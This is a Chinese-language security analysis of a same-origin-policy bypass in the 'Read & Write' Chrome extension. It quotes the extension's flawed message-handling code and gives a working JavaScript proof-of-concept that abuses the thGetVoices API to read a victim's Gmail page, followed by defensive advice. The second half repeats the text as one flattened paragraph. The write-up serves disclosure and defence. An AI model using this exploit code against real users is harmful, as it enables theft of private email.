使用Chrome扩展程序进行同源策略绕过来读取用户的电子邮件
字数 1136 2025-08-26 22:11:35

Chrome扩展程序同源策略绕过漏洞分析与防御

漏洞概述

本文分析了一种通过Chrome扩展程序绕过同源策略(SOP)的安全漏洞,该漏洞允许恶意网页读取用户在其他网站(如Gmail)上的敏感数据。该漏洞存在于"Read & Write"谷歌扩展程序中,影响约800万用户。

技术背景

同源策略(Same-Origin Policy)

同源策略是浏览器重要的安全机制,限制来自不同源的文档或脚本如何相互交互。正常情况下,网页无法读取来自不同源的资源。

Chrome扩展程序权限模型

Chrome扩展程序拥有比普通网页更高的权限,可以:

  • 访问跨域资源
  • 使用特权API
  • 修改浏览器行为

漏洞细节

漏洞位置

漏洞存在于"Read & Write"扩展程序的以下组件:

  1. 内容脚本(inject.js)
  2. 后台页面(background.js)
  3. 消息传递机制

漏洞利用链

  1. 内容脚本注入
    • 扩展程序将inject.js注入所有HTTP/HTTPS页面
    • 内容脚本添加了message事件监听器
window.addEventListener("message", this.onMessage)
  1. 不安全的消息处理
    • onMessage函数将所有接收到的消息转发到后台页面
    • 缺乏对消息来源的验证
function onMessage() {
    void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
        enabledRW4GC: !1
    }) : chrome.extension.sendRequest(event.data, function(e) {
        window.postMessage(e, "*")
    }))
}
  1. 危险的后台API
    • 后台页面暴露了多个特权API
    • thGetVoices方法允许执行任意HTTP GET请求
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
    if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
        method: "thGetVoices",
        type: "1757FROM_BGRW4G",
        payload: {
            response: g_voices
        }
    });
    var c = new XMLHttpRequest;
    c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
        4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
            method: "thGetVoices",
            type: "1757FROM_BGRW4G",
            payload: {
                response: g_voices
            }
        }))
    }, c.send()
}

漏洞利用

利用步骤

  1. 恶意网页构造特定格式的消息
  2. 通过postMessage发送到内容脚本
  3. 内容脚本转发消息到后台页面
  4. 后台页面执行特权操作(如跨域请求)
  5. 响应返回给恶意网页

利用代码示例

function exploit_get(input_url) {
    return new Promise(function(resolve, reject) {
        var delete_callback = false;
        var event_listener_callback = function(event) {
            if ("data" in event && event.data.payload.response) {
                window.removeEventListener("message", event_listener_callback, false);
                resolve(event.data.payload.response);
            }
        };
        window.addEventListener("message", event_listener_callback, false);
        window.postMessage({
            type: "1757FROM_PAGERW4G",
            "method": "thGetVoices",
            "payload": {
                "refresh": "true",
                "url": input_url
            }
        }, "*");
    });
}

setTimeout(function() {
    exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
        alert("Gmail emails have been stolen!");
        alert(response_body);
    });
}, 1000);

其他可利用的API

  1. thExtBGAjaxRequest - 执行任意POST请求
  2. OpenTab - 打开新标签页

防御措施

开发建议

  1. 严格验证消息来源
    • 检查event.isTrusted属性
    • 验证消息来源是否可信
window.addEventListener("message", function(event) {
    if (!event.isTrusted) return;
    // 处理消息
});
  1. 最小化内容脚本权限
    • 限制内容脚本注入的范围
    • 避免使用通配符匹配所有网站
"content_scripts": [
    {
        "matches": ["https://docs.google.com/*"],
        "js": ["inject.js"]
    }
]
  1. 实现消息白名单

    • 只允许特定的消息类型
    • 验证消息结构和内容
  2. 避免在内容脚本中创建消息代理

    • 将核心逻辑放在后台页面
    • 内容脚本只处理必要的UI交互
  3. 使用更安全的通信方式

    • 考虑使用chrome.runtime.sendMessage代替postMessage
    • 实现双向验证机制

用户保护措施

  1. 定期审查已安装的扩展程序
  2. 只从官方商店安装扩展程序
  3. 移除不再使用的扩展程序
  4. 关注扩展程序的更新日志

总结

该漏洞展示了Chrome扩展程序在设计不当的情况下可能成为安全弱点的典型案例。开发者在设计扩展程序时应遵循最小权限原则,严格验证所有跨上下文通信。用户则应保持警惕,定期审查扩展程序权限。

该漏洞已被修复,最新版本的"Read & Write"扩展程序不再受影响。

Chrome扩展程序同源策略绕过漏洞分析与防御 漏洞概述 本文分析了一种通过Chrome扩展程序绕过同源策略(SOP)的安全漏洞,该漏洞允许恶意网页读取用户在其他网站(如Gmail)上的敏感数据。该漏洞存在于"Read & Write"谷歌扩展程序中,影响约800万用户。 技术背景 同源策略(Same-Origin Policy) 同源策略是浏览器重要的安全机制,限制来自不同源的文档或脚本如何相互交互。正常情况下,网页无法读取来自不同源的资源。 Chrome扩展程序权限模型 Chrome扩展程序拥有比普通网页更高的权限,可以: 访问跨域资源 使用特权API 修改浏览器行为 漏洞细节 漏洞位置 漏洞存在于"Read & Write"扩展程序的以下组件: 内容脚本(inject.js) 后台页面(background.js) 消息传递机制 漏洞利用链 内容脚本注入 : 扩展程序将 inject.js 注入所有HTTP/HTTPS页面 内容脚本添加了 message 事件监听器 不安全的消息处理 : onMessage 函数将所有接收到的消息转发到后台页面 缺乏对消息来源的验证 危险的后台API : 后台页面暴露了多个特权API thGetVoices 方法允许执行任意HTTP GET请求 漏洞利用 利用步骤 恶意网页构造特定格式的消息 通过 postMessage 发送到内容脚本 内容脚本转发消息到后台页面 后台页面执行特权操作(如跨域请求) 响应返回给恶意网页 利用代码示例 其他可利用的API thExtBGAjaxRequest - 执行任意POST请求 OpenTab - 打开新标签页 防御措施 开发建议 严格验证消息来源 : 检查 event.isTrusted 属性 验证消息来源是否可信 最小化内容脚本权限 : 限制内容脚本注入的范围 避免使用通配符匹配所有网站 实现消息白名单 : 只允许特定的消息类型 验证消息结构和内容 避免在内容脚本中创建消息代理 : 将核心逻辑放在后台页面 内容脚本只处理必要的UI交互 使用更安全的通信方式 : 考虑使用 chrome.runtime.sendMessage 代替 postMessage 实现双向验证机制 用户保护措施 定期审查已安装的扩展程序 只从官方商店安装扩展程序 移除不再使用的扩展程序 关注扩展程序的更新日志 总结 该漏洞展示了Chrome扩展程序在设计不当的情况下可能成为安全弱点的典型案例。开发者在设计扩展程序时应遵循最小权限原则,严格验证所有跨上下文通信。用户则应保持警惕,定期审查扩展程序权限。 该漏洞已被修复,最新版本的"Read & Write"扩展程序不再受影响。